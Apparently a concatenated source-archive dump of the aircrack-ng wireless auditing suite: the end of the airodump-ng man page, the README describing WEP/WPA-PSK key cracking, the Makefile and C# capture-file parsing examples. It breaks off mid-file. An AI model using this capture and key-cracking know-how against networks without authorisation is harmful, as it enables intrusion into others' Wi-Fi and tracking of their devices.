BSSID STATION PWR Rate Lost Frames Probes .br .PP 00:14:6C:7A:41:81 00:0F:B5:32:31:31 51 11-11 2 14 bigbear .br (not associated) 00:14:A4:3F:8D:13 19 11-11 0 4 mossy .br 00:14:6C:7A:41:81 00:0C:41:52:D1:D1 \-1 11-2 0 5 bigbear .br 00:14:6C:7E:40:80 00:0F:B5:FD:FB:C2 35 36-24 0 99 teddy .br ----------------------------------------------------------------------- .br .PP .TP .I BSSID MAC address of the access point. In the Client section, a BSSID of "(not associated)" means that the client is not associated with any AP. In this unassociated state, it is searching for an AP to connect with. .TP .I PWR Signal level reported by the card. Its signification depends on the driver, but as the signal gets higher you get closer to the AP or the station. If the BSSID PWR is -1, then the driver doesn\(aqt support signal level reporting. If the PWR is -1 for a limited number of stations then this is for a packet which came from the AP to the client but the client transmissions are out of range for your card. Meaning you are hearing only 1/2 of the communication. If all clients have PWR as -1 then the driver doesn\(aqt support signal level reporting. .TP .I RXQ Only shown when on a fixed channel. Receive Quality as measured by the percentage of packets (management and data frames) successfully received over the last 10 seconds. It\(aqs measured over all management and data frames. That\(aqs the clue, this allows you to read more things out of this value. Lets say you got 100 percent RXQ and all 10 (or whatever the rate) beacons per second coming in. Now all of a sudden the RXQ drops below 90, but you still capture all sent beacons. Thus you know that the AP is sending frames to a client but you can\(aqt hear the client nor the AP sending to the client (need to get closer). Another thing would be, that you got a 11MB card to monitor and capture frames (say a prism2.5) and you have a very good position to the AP. The AP is set to 54MBit and then again the RXQ drops, so you know that there is at least one 54MBit client connected to the AP. .TP .I Beacons Number of beacons sent by the AP. Each access point sends about ten beacons per second at the lowest rate (1M), so they can usually be picked up from very far. .TP .I #Data Number of captured data packets (if WEP, unique IV count), including data broadcast packets. .TP .I #/s Number of data packets per second measure over the last 10 seconds. .TP .I CH Channel number (taken from beacon packets). Note: sometimes packets from other channels are captured even if airodump-ng is not hopping, because of radio interference. .TP .I MB Maximum speed supported by the AP. If MB = 11, it\(aqs 802.11b, if MB = 22 it\(aqs 802.11b+ and higher rates are 802.11g. The dot (after 54 above) indicates short preamble is supported. \(aqe\(aq indicates that the network has QoS (802.11e) enabled. .TP .I ENC Encryption algorithm in use. OPN = no encryption,"WEP?" = WEP or higher (not enough data to choose between WEP and WPA/WPA2), WEP (without the question mark) indicates static or dynamic WEP, and WPA or WPA2 if TKIP or CCMP or MGT is present. .TP .I CIPHER The cipher detected. One of CCMP, WRAP, TKIP, WEP, WEP40, or WEP104. Not mandatory, but TKIP is typically used with WPA and CCMP is typically used with WPA2. WEP40 is displayed when the key index is greater then 0. The standard states that the index can be 0-3 for 40bit and should be 0 for 104 bit. .TP .I AUTH The authentication protocol used. One of MGT (WPA/WPA2 using a separate authentication server), SKA (shared key for WEP), PSK (pre-shared key for WPA/WPA2), or OPN (open for WEP). .TP .I ESSID The so-called "SSID", which can be empty if SSID hiding is activated. In this case, airodump-ng will try to recover the SSID from probe responses and association requests. .TP .I STATION MAC address of each associated station or stations searching for an AP to connect with. Clients not currently associated with an AP have a BSSID of "(not associated)". .TP .I Rate This is only displayed when using a single channel. The first number is the last data rate from the AP (BSSID) to the Client (STATION). The second number is the last data rate from Client (STATION) to the AP (BSSID). .TP .I Lost It means lost packets coming from the client. To determine the number of packets lost, there is a sequence field on every non-control frame, so you can subtract the second last sequence number from the last sequence number and you know how many packets you have lost. .TP .I Packets The number of data packets sent by the client. .TP .I Probes The ESSIDs probed by the client. These are the networks the client is trying to connect to if it is not currently connected. .PP The first part is the detected access points. The second part is a list of detected wireless clients, stations. By relying on the signal power, one can even physically pinpoint the location of a given station. .SH AUTHOR This manual page was written by Adam Cecile for the Debian system (but may be used by others). Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL. .SH SEE ALSO .br .B airbase-ng(8) .br .B aircrack-ng(1) .br .B airdecap-ng(1) .br .B airdecloak-ng(1) .br .B airdriver-ng(8) .br .B aireplay-ng(8) .br .B airmon-ng(8) .br .B airodump-ng-oui-update(8) .br .B airolib-ng(1) .br .B airserv-ng(8) .br .B airtun-ng(8) .br .B buddy-ng(1) .br .B easside-ng(8) .br .B ivstools(1) .br .B kstats(1) .br .B makeivs-ng(1) .br .B packetforge-ng(1) .br .B tkiptun-ng(8) .br .B wesside-ng(8) aircrack-ng-1.2-beta3/evalrev0000755000000000000000000000100512147530441014616 0ustar rootroot#!/bin/sh DIR=$1 if [ x$DIR = "x" ] then DIR="." fi if [ ! -d "${DIR}/.svn/" ] then echo "0" exit ; fi REVISION="`svnversion $DIR 2> /dev/null | sed 's/[^0-9]*//g'`" if [ x$REVISION = "x" ] then REVISION="`svn info $DIR 2> /dev/null | grep -i revision | sed 's/[^0-9]*//g'`" fi if [ x$REVISION = "x" ] then if [ -f "${DIR}/.svn/entries" ] then REVISION="`cat ${DIR}/.svn/entries | grep -i revision | head -n 1 | sed 's/[^0-9]*//g'`" fi fi if [ x$REVISION = "x" ] then REVISION="-1" fi echo $REVISION aircrack-ng-1.2-beta3/README.md0000644000000000000000000000671012142331113014501 0ustar rootroot# Aircrack-ng Aircrack-ng is an 802.11 WEP and WPA-PSK keys cracking program that can recover keys once enough data packets have been captured. It implements the standard FMS attack along with some optimizations like KoreK attacks, as well as the all-new PTW attack, thus making the attack much faster compared to other WEP cracking tools. It can attack WPA1/2 networks with some advanced methods or simply by brute force. It can also fully use a multiprocessor system to its full power in order to speed up the cracking process. [![Build Status](https://api.travis-ci.org/aircrack-ng/aircrack-ng.png)](https://travis-ci.org/aircrack-ng/aircrack-ng) # Building ## Requirements * OpenSSL development package or libgcrypt development package * If you want to use `airolib-ng` and `-r` option in aircrack-ng, SQLite development package `>= 3.3.17` (3.6.X version or better is recommended): `libsqlite3-devel` * On windows, cygwin has to be used and it also requires w32api and gcc-4 package. * If you want to use Airpcap, the 'developer' directory from the CD is required. ## Compilating * Compilation: `make` * Strip debugging symbols: `make strip` * Installing: `make install` * Uninstall: `make uninstall` ### Makefile flags When compile and installing, the following flags can be used and combined to compile and install the suite: * **sqlite**: needed to compile `airolib-ng` and add support for `airolib-ng` databases in aircrack-ng. On cygwin: SQLite has to be compiled manually. See next section. * **airpcap**: needed for supporting airpcap devices on windows (cygwin only) REQUIREMENT: Copy 'developers' directory from Airpcap CD one level below this INSTALLING file Note: Not working yet. * **unstable**: needed to compile `tkiptun-ng`, `easside-ng` (and `buddy-ng`) and `wesside-ng` * **ext_scripts**: needed to build `airoscript-ng`, `versuck-ng`, `airgraph-ng` and `airdrop-ng`. Note: Experimental. Each script has its own dependences. Note: It's only required in install phase. * **gcrypt**: Use libgcrypt crypto library instead of the default OpenSSL. And also use internal fast sha1 implementation (borrowed from GIT) * **libnl**: Add support for netlink (nl80211). Linux only. - Requires `libnl1` OR `libnl3`. - Dependencies (debian): + LibNL 1: `libnl-dev` + LibNL 3: `libnl-3-dev` and `libnl-genl-3-dev`. #### Examples: * Compiling with sqlite and enabling unstable: `make sqlite=true unstable=true` * Installing: `make sqlite=true unstable=true install` * Installing, with external scripts: `make sqlite=true unstable=true ext_scripts=true` * Compiling with gcrypt: `make gcrypt=true` # Using precompiled binaries Linux/BSD: * Use your package manager to download aircrack-ng * In most cases, they have an old version. Windows: * Install the appropriate "monitor" driver for your card (standard drivers doesn't work for capturing data). * aircrack-ng suite is command line tools. So, you have to open a commandline `Start menu -> Run... -> cmd.exe` then use them * Run the executables without any parameters to have help # Documentation Documentation, tutorials, ... can be found on http://www.aircrack-ng.org See also manpages and the forum. For further information check the [README](README) file aircrack-ng-1.2-beta3/Makefile0000644000000000000000000000355712211540666014704 0ustar rootrootneed := 3.81 ok := $(filter $(need),$(firstword $(sort $(MAKE_VERSION) \ $(need)))) ifndef ok $(error fatal error... Need make $(need) but using $(MAKE_VERSION), please upgrade) endif AC_ROOT = . include $(AC_ROOT)/common.mak DOCFILES = ChangeLog INSTALLING README LICENSE AUTHORS VERSION COVERITY_BUILD ?= cov-build COVERITY_DIR = cov-int COVERITY_TAR_GZ = Aircrack-ng.tar.gz COVERITY_CREDS_DIR = coverity COVERITY_TOKEN = $(shell cat ${COVERITY_CREDS_DIR}/token) COVERITY_EMAIL = $(shell cat ${COVERITY_CREDS_DIR}/email) default: all all: $(MAKE) -C src $(@) coverity-build: $(COVERITY_BUILD) --dir $(COVERITY_DIR) $(MAKE) sqlite=true unstable=true libnl=true coverity-package: coverity-build tar czvf $(COVERITY_TAR_GZ) $(COVERITY_DIR) coverity-upload: coverity-package curl --form project=Aircrack-ng --form token=$(COVERITY_TOKEN) --form email=$(COVERITY_EMAIL) --form file=@$(COVERITY_TAR_GZ) --form version=r$(REVISION) --form description="Aircrack-ng svn r$(REVISION)" http://scan5.coverity.com/cgi-bin/upload.py coverity-show-creds: @echo "Token: $(COVERITY_TOKEN)" @echo "Email: $(COVERITY_EMAIL)" aircrack-ng-opt-prof_gen: all mkdir -p prof $(MAKE) -C src $(@) aircrack-ng-opt-prof_use: $(MAKE) -C src $(@) install: all $(MAKE) -C src $(@) $(MAKE) -C scripts $(@) $(MAKE) -C manpages $(@) @echo " " @echo "[*] Run 'airodump-ng-oui-update' as root (or with sudo) to install or update Airodump-ng OUI file (Internet connection required)." uninstall: $(MAKE) -C src $(@) -rm -fr $(DESTDIR)$(docdir) $(MAKE) -C manpages $(@) $(MAKE) -C scripts $(@) strip: $(MAKE) -C src $(@) doc: install -d $(DESTDIR)$(docdir) install -m 644 $(DOCFILES) $(DESTDIR)$(docdir) clean: -rm -rf $(COVERITY_DIR) $(MAKE) -C src $(@) $(MAKE) -C test/cryptounittest $(@) distclean: clean check: $(MAKE) -C src $(@) $(MAKE) -C test/cryptounittest $(@) aircrack-ng-1.2-beta3/lib/0000755000000000000000000000000012316431263013776 5ustar rootrootaircrack-ng-1.2-beta3/lib/csharp/0000755000000000000000000000000012316431264015257 5ustar rootrootaircrack-ng-1.2-beta3/lib/csharp/Example1/0000755000000000000000000000000012316431264016733 5ustar rootrootaircrack-ng-1.2-beta3/lib/csharp/Example1/Example1/0000755000000000000000000000000012316431264020407 5ustar rootrootaircrack-ng-1.2-beta3/lib/csharp/Example1/Example1/Form1.cs0000644000000000000000000000416611600011117021713 0ustar rootroot// License: BSD // Copyright (C) 2011 Thomas d'Otreppe using System; using System.Windows.Forms; using WirelessPanda.Readers; namespace Example1 { public partial class Form1 : Form { public Form1() { InitializeComponent(); } ///

/// Load file /// /// /// private void button1_Click(object sender, EventArgs e) { OpenFileDialog ofd = new OpenFileDialog(); ofd.Multiselect = false; if (ofd.ShowDialog() == System.Windows.Forms.DialogResult.OK) { // Load file Reader reader = new UniversalReader(ofd.FileName); try { // and parse it reader.Read(); // Add Datatables this.dataGridView1.DataSource = reader.Dataset.Tables[Reader.ACCESSPOINTS_DATATABLE]; this.dataGridView2.DataSource = reader.Dataset.Tables[Reader.STATIONS_DATATABLE]; } catch (Exception ex) { MessageBox.Show("Exception: " + ex.Message, this.Text, MessageBoxButtons.OK, MessageBoxIcon.Error); } // Set file type this.lblFiletype.Text = reader.ReaderType; // Set filename this.lblFilename.Text = reader.Filename; // Indicate if parsing was successful if (reader.ParseSuccess) { this.lblParsed.Text = "Yes"; } else { this.lblParsed.Text = "No"; } } } private void Form1_SizeChanged(object sender, EventArgs e) { Form f = sender as Form; this.label1.Left = (f.Width - this.label1.Width) / 2; this.label2.Left = (f.Width - this.label2.Width) / 2; } } } aircrack-ng-1.2-beta3/lib/csharp/Example1/Example1/Form1.Designer.cs0000644000000000000000000002423211600011117023446 0ustar rootrootnamespace Example1 { partial class Form1 { /// /// Required designer variable. /// private System.ComponentModel.IContainer components = null; /// /// Clean up any resources being used. /// /// true if managed resources should be disposed; otherwise, false. protected override void Dispose(bool disposing) { if (disposing && (components != null)) { components.Dispose(); } base.Dispose(disposing); } #region Windows Form Designer generated code /// /// Required method for Designer support - do not modify /// the contents of this method with the code editor. /// private void InitializeComponent() { this.dataGridView1 = new System.Windows.Forms.DataGridView(); this.dataGridView2 = new System.Windows.Forms.DataGridView(); this.label1 = new System.Windows.Forms.Label(); this.label2 = new System.Windows.Forms.Label(); this.button1 = new System.Windows.Forms.Button(); this.label3 = new System.Windows.Forms.Label(); this.lblFiletype = new System.Windows.Forms.Label(); this.label4 = new System.Windows.Forms.Label(); this.lblFilename = new System.Windows.Forms.Label(); this.label5 = new System.Windows.Forms.Label(); this.lblParsed = new System.Windows.Forms.Label(); ((System.ComponentModel.ISupportInitialize)(this.dataGridView1)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.dataGridView2)).BeginInit(); this.SuspendLayout(); // // dataGridView1 // this.dataGridView1.AllowUserToAddRows = false; this.dataGridView1.AllowUserToDeleteRows = false; this.dataGridView1.AllowUserToOrderColumns = true; this.dataGridView1.AllowUserToResizeRows = false; this.dataGridView1.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) | System.Windows.Forms.AnchorStyles.Right))); this.dataGridView1.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.ColumnHeader; this.dataGridView1.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; this.dataGridView1.Location = new System.Drawing.Point(12, 106); this.dataGridView1.MultiSelect = false; this.dataGridView1.Name = "dataGridView1"; this.dataGridView1.ReadOnly = true; this.dataGridView1.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; this.dataGridView1.Size = new System.Drawing.Size(860, 128); this.dataGridView1.TabIndex = 0; // // dataGridView2 // this.dataGridView2.AllowUserToAddRows = false; this.dataGridView2.AllowUserToDeleteRows = false; this.dataGridView2.AllowUserToOrderColumns = true; this.dataGridView2.AllowUserToResizeRows = false; this.dataGridView2.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left) | System.Windows.Forms.AnchorStyles.Right))); this.dataGridView2.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.Fill; this.dataGridView2.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; this.dataGridView2.Location = new System.Drawing.Point(12, 268); this.dataGridView2.MultiSelect = false; this.dataGridView2.Name = "dataGridView2"; this.dataGridView2.ReadOnly = true; this.dataGridView2.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; this.dataGridView2.Size = new System.Drawing.Size(860, 128); this.dataGridView2.TabIndex = 1; // // label1 // this.label1.Anchor = System.Windows.Forms.AnchorStyles.Top; this.label1.AutoSize = true; this.label1.Font = new System.Drawing.Font("Microsoft Sans Serif", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label1.Location = new System.Drawing.Point(388, 86); this.label1.Name = "label1"; this.label1.Size = new System.Drawing.Size(109, 17); this.label1.TabIndex = 2; this.label1.Text = "Access Points"; // // label2 // this.label2.Anchor = System.Windows.Forms.AnchorStyles.Top; this.label2.AutoSize = true; this.label2.Font = new System.Drawing.Font("Microsoft Sans Serif", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label2.Location = new System.Drawing.Point(409, 248); this.label2.Name = "label2"; this.label2.Size = new System.Drawing.Size(67, 17); this.label2.TabIndex = 3; this.label2.Text = "Stations"; // // button1 // this.button1.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); this.button1.Location = new System.Drawing.Point(797, 12); this.button1.Name = "button1"; this.button1.Size = new System.Drawing.Size(75, 23); this.button1.TabIndex = 4; this.button1.Text = "Load..."; this.button1.UseVisualStyleBackColor = true; this.button1.Click += new System.EventHandler(this.button1_Click); // // label3 // this.label3.AutoSize = true; this.label3.Location = new System.Drawing.Point(12, 35); this.label3.Name = "label3"; this.label3.Size = new System.Drawing.Size(49, 13); this.label3.TabIndex = 5; this.label3.Text = "File type:"; // // lblFiletype // this.lblFiletype.AutoSize = true; this.lblFiletype.Location = new System.Drawing.Point(67, 35); this.lblFiletype.Name = "lblFiletype"; this.lblFiletype.Size = new System.Drawing.Size(53, 13); this.lblFiletype.TabIndex = 6; this.lblFiletype.Text = "Unknown"; // // label4 // this.label4.AutoSize = true; this.label4.Location = new System.Drawing.Point(12, 12); this.label4.Name = "label4"; this.label4.Size = new System.Drawing.Size(52, 13); this.label4.TabIndex = 7; this.label4.Text = "Filename:"; // // lblFilename // this.lblFilename.AutoSize = true; this.lblFilename.Location = new System.Drawing.Point(67, 12); this.lblFilename.Name = "lblFilename"; this.lblFilename.Size = new System.Drawing.Size(53, 13); this.lblFilename.TabIndex = 8; this.lblFilename.Text = "Unknown"; // // label5 // this.label5.AutoSize = true; this.label5.Location = new System.Drawing.Point(12, 57); this.label5.Name = "label5"; this.label5.Size = new System.Drawing.Size(43, 13); this.label5.TabIndex = 9; this.label5.Text = "Parsed:"; // // lblParsed // this.lblParsed.AutoSize = true; this.lblParsed.Location = new System.Drawing.Point(67, 57); this.lblParsed.Name = "lblParsed"; this.lblParsed.Size = new System.Drawing.Size(53, 13); this.lblParsed.TabIndex = 10; this.lblParsed.Text = "Unknown"; // // Form1 // this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; this.ClientSize = new System.Drawing.Size(884, 411); this.Controls.Add(this.lblParsed); this.Controls.Add(this.label5); this.Controls.Add(this.lblFilename); this.Controls.Add(this.label4); this.Controls.Add(this.lblFiletype); this.Controls.Add(this.label3); this.Controls.Add(this.button1); this.Controls.Add(this.label2); this.Controls.Add(this.label1); this.Controls.Add(this.dataGridView2); this.Controls.Add(this.dataGridView1); this.MinimumSize = new System.Drawing.Size(200, 438); this.Name = "Form1"; this.Text = "Example 1"; this.SizeChanged += new System.EventHandler(this.Form1_SizeChanged); ((System.ComponentModel.ISupportInitialize)(this.dataGridView1)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.dataGridView2)).EndInit(); this.ResumeLayout(false); this.PerformLayout(); } #endregion private System.Windows.Forms.DataGridView dataGridView1; private System.Windows.Forms.DataGridView dataGridView2; private System.Windows.Forms.Label label1; private System.Windows.Forms.Label label2; private System.Windows.Forms.Button button1; private System.Windows.Forms.Label label3; private System.Windows.Forms.Label lblFiletype; private System.Windows.Forms.Label label4; private System.Windows.Forms.Label lblFilename; private System.Windows.Forms.Label label5; private System.Windows.Forms.Label lblParsed; } } aircrack-ng-1.2-beta3/lib/csharp/Example1/Example1/Example1.csproj0000644000000000000000000000731211600011117023272 0ustar rootroot Debug x86 8.0.30703 2.0 {C4AE481A-A896-4830-9202-6221890AB43B} WinExe Properties Example1 Example1 v4.0 512 x86 true full false bin\Debug\ DEBUG;TRACE prompt 4 x86 pdbonly true bin\Release\ TRACE prompt 4 Form Form1.cs Form1.cs ResXFileCodeGenerator Resources.Designer.cs Designer True Resources.resx True SettingsSingleFileGenerator Settings.Designer.cs True Settings.settings True {F3A06E01-20E6-4CF8-AD62-1034A0B4EAE3} WirelessPanda aircrack-ng-1.2-beta3/lib/csharp/Example1/Example1/Form1.resx0000644000000000000000000001327111600011117022264 0ustar rootroot text/microsoft-resx 2.0 System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 aircrack-ng-1.2-beta3/lib/csharp/Example1/Example1/app.config0000644000000000000000000000022011600011117022332 0ustar rootroot aircrack-ng-1.2-beta3/lib/csharp/Example1/Example1/Program.cs0000644000000000000000000000067511600011117022337 0ustar rootrootusing System; using System.Windows.Forms; namespace Example1 { static class Program { /// /// The main entry point for the application. /// [STAThread] static void Main() { Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); Application.Run(new Form1()); } } } aircrack-ng-1.2-beta3/lib/csharp/Example1/Example1/Properties/0000755000000000000000000000000012316431264022543 5ustar rootrootaircrack-ng-1.2-beta3/lib/csharp/Example1/Example1/Properties/AssemblyInfo.cs0000644000000000000000000000262311600011117025452 0ustar rootrootusing System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; // General Information about an assembly is controlled through the following // set of attributes. Change these attribute values to modify the information // associated with an assembly. [assembly: AssemblyTitle("Example1")] [assembly: AssemblyDescription("")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] [assembly: AssemblyProduct("Example1")] [assembly: AssemblyCopyright("Copyright © 2011")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] // Setting ComVisible to false makes the types in this assembly not visible // to COM components. If you need to access a type in this assembly from // COM, set the ComVisible attribute to true on that type. [assembly: ComVisible(false)] // The following GUID is for the ID of the typelib if this project is exposed to COM [assembly: Guid("c8ca20fd-396d-461e-a240-3cb2214597d8")] // Version information for an assembly consists of the following four values: // // Major Version // Minor Version // Build Number // Revision // // You can specify all the values or you can default the Build and Revision Numbers // by using the '*' as shown below: // [assembly: AssemblyVersion("1.0.*")] [assembly: AssemblyVersion("1.0.0.0")] [assembly: AssemblyFileVersion("1.0.0.0")] aircrack-ng-1.2-beta3/lib/csharp/Example1/Example1/Properties/Resources.resx0000644000000000000000000001275411600011117025413 0ustar rootroot text/microsoft-resx 2.0 System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 aircrack-ng-1.2-beta3/lib/csharp/Example1/Example1/Properties/Settings.settings0000644000000000000000000000037111600011117026110 0ustar rootroot aircrack-ng-1.2-beta3/lib/csharp/Example1/Example1/Properties/Settings.Designer.cs0000644000000000000000000000210111600011117026405 0ustar rootroot//------------------------------------------------------------------------------ // // This code was generated by a tool. // Runtime Version:4.0.30319.225 // // Changes to this file may cause incorrect behavior and will be lost if // the code is regenerated. // //------------------------------------------------------------------------------ namespace Example1.Properties { [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "10.0.0.0")] internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase { private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); public static Settings Default { get { return defaultInstance; } } } } aircrack-ng-1.2-beta3/lib/csharp/Example1/Example1/Properties/Resources.Designer.cs0000644000000000000000000000543211600011117026571 0ustar rootroot//------------------------------------------------------------------------------ // // This code was generated by a tool. // Runtime Version:4.0.30319.225 // // Changes to this file may cause incorrect behavior and will be lost if // the code is regenerated. // //------------------------------------------------------------------------------ namespace Example1.Properties { using System; /// /// A strongly-typed resource class, for looking up localized strings, etc. /// // This class was auto-generated by the StronglyTypedResourceBuilder // class via a tool like ResGen or Visual Studio. // To add or remove a member, edit your .ResX file then rerun ResGen // with the /str option, or rebuild your VS project. [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] internal class Resources { private static global::System.Resources.ResourceManager resourceMan; private static global::System.Globalization.CultureInfo resourceCulture; [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] internal Resources() { } /// /// Returns the cached ResourceManager instance used by this class. /// [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] internal static global::System.Resources.ResourceManager ResourceManager { get { if (object.ReferenceEquals(resourceMan, null)) { global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Example1.Properties.Resources", typeof(Resources).Assembly); resourceMan = temp; } return resourceMan; } } /// /// Overrides the current thread's CurrentUICulture property for all /// resource lookups using this strongly typed resource class. /// [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] internal static global::System.Globalization.CultureInfo Culture { get { return resourceCulture; } set { resourceCulture = value; } } } } aircrack-ng-1.2-beta3/lib/csharp/Example1/Example1.sln0000644000000000000000000000500311600011117021105 0ustar rootroot Microsoft Visual Studio Solution File, Format Version 11.00 # Visual Studio 2010 Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Example1", "Example1\Example1.csproj", "{C4AE481A-A896-4830-9202-6221890AB43B}" EndProject Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "WirelessPanda", "..\WirelessPanda\WirelessPanda.csproj", "{F3A06E01-20E6-4CF8-AD62-1034A0B4EAE3}" EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|Any CPU = Debug|Any CPU Debug|Mixed Platforms = Debug|Mixed Platforms Debug|x86 = Debug|x86 Release|Any CPU = Release|Any CPU Release|Mixed Platforms = Release|Mixed Platforms Release|x86 = Release|x86 EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution {C4AE481A-A896-4830-9202-6221890AB43B}.Debug|Any CPU.ActiveCfg = Debug|x86 {C4AE481A-A896-4830-9202-6221890AB43B}.Debug|Mixed Platforms.ActiveCfg = Debug|x86 {C4AE481A-A896-4830-9202-6221890AB43B}.Debug|Mixed Platforms.Build.0 = Debug|x86 {C4AE481A-A896-4830-9202-6221890AB43B}.Debug|x86.ActiveCfg = Debug|x86 {C4AE481A-A896-4830-9202-6221890AB43B}.Debug|x86.Build.0 = Debug|x86 {C4AE481A-A896-4830-9202-6221890AB43B}.Release|Any CPU.ActiveCfg = Release|x86 {C4AE481A-A896-4830-9202-6221890AB43B}.Release|Mixed Platforms.ActiveCfg = Release|x86 {C4AE481A-A896-4830-9202-6221890AB43B}.Release|Mixed Platforms.Build.0 = Release|x86 {C4AE481A-A896-4830-9202-6221890AB43B}.Release|x86.ActiveCfg = Release|x86 {C4AE481A-A896-4830-9202-6221890AB43B}.Release|x86.Build.0 = Release|x86 {F3A06E01-20E6-4CF8-AD62-1034A0B4EAE3}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {F3A06E01-20E6-4CF8-AD62-1034A0B4EAE3}.Debug|Any CPU.Build.0 = Debug|Any CPU {F3A06E01-20E6-4CF8-AD62-1034A0B4EAE3}.Debug|Mixed Platforms.ActiveCfg = Debug|Any CPU {F3A06E01-20E6-4CF8-AD62-1034A0B4EAE3}.Debug|Mixed Platforms.Build.0 = Debug|Any CPU {F3A06E01-20E6-4CF8-AD62-1034A0B4EAE3}.Debug|x86.ActiveCfg = Debug|Any CPU {F3A06E01-20E6-4CF8-AD62-1034A0B4EAE3}.Release|Any CPU.ActiveCfg = Release|Any CPU {F3A06E01-20E6-4CF8-AD62-1034A0B4EAE3}.Release|Any CPU.Build.0 = Release|Any CPU {F3A06E01-20E6-4CF8-AD62-1034A0B4EAE3}.Release|Mixed Platforms.ActiveCfg = Release|Any CPU {F3A06E01-20E6-4CF8-AD62-1034A0B4EAE3}.Release|Mixed Platforms.Build.0 = Release|Any CPU {F3A06E01-20E6-4CF8-AD62-1034A0B4EAE3}.Release|x86.ActiveCfg = Release|Any CPU EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE EndGlobalSection EndGlobal aircrack-ng-1.2-beta3/lib/csharp/WirelessPanda/0000755000000000000000000000000012316431264020020 5ustar rootrootaircrack-ng-1.2-beta3/lib/csharp/WirelessPanda/WirelessPanda.Mono.csproj0000644000000000000000000000476611600013506024715 0ustar rootroot Debug AnyCPU 8.0.30703 2.0 {F3A06E01-20E6-4CF8-AD62-1034A0B4EAE3} Library Properties WirelessPanda WirelessPanda v4.0 512 true full false bin\Debug\ DEBUG;TRACE prompt 4 pdbonly true bin\Release\ TRACE prompt 4 aircrack-ng-1.2-beta3/lib/csharp/WirelessPanda/Station.cs0000644000000000000000000001030511600011117021751 0ustar rootroot// License: BSD/LGPL // Copyright (C) 2011 Thomas d'Otreppe using System; using System.Collections.Generic; using System.Text; namespace WirelessPanda { public class Station : WirelessDevice, IEquatable { private AccessPoint _ap = null; /// /// Access point /// public AccessPoint AP { get { return this._ap; } // Only allow to do it inside the lib internal set { this._ap = value; } } /// /// Station MAC /// public string StationMAC { get { return (string)this.getDictValue("Station MAC"); } set { if (value != null) { this.setDictValue("Station MAC", value.Trim()); } else { this.setDictValue("Station MAC", value); } } } /// /// # Packets /// public ulong NbPackets { get { return (ulong)this.getDictValue("# Packets"); } set { this.setDictValue("# Packets", value); } } /// /// Probed ESSIDs (comma separated) /// public string ProbedESSIDs { get { return (string)this.getDictValue("Probed ESSIDs"); } set { this.setDictValue("Probed ESSIDs", value); // Update probe ESSID list this._probedESSIDsList.Clear(); if (string.IsNullOrEmpty(value)) { foreach (string s in value.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries)) { if (string.IsNullOrEmpty(s.Trim())) { continue; } // Add ESSID this._probedESSIDsList.Add(s); } } } } private List _probedESSIDsList = new List(); /// /// Probed ESSIDs List /// public string[] ProbedESSIDsList { get { return _probedESSIDsList.ToArray().Clone() as string[]; } set { this._probedESSIDsList.Clear(); this.setDictValue("Probed ESSIDs", string.Empty); if (value != null && value.Length > 0) { this._probedESSIDsList.AddRange(value); // Generate the string list of SSID StringBuilder sb = new 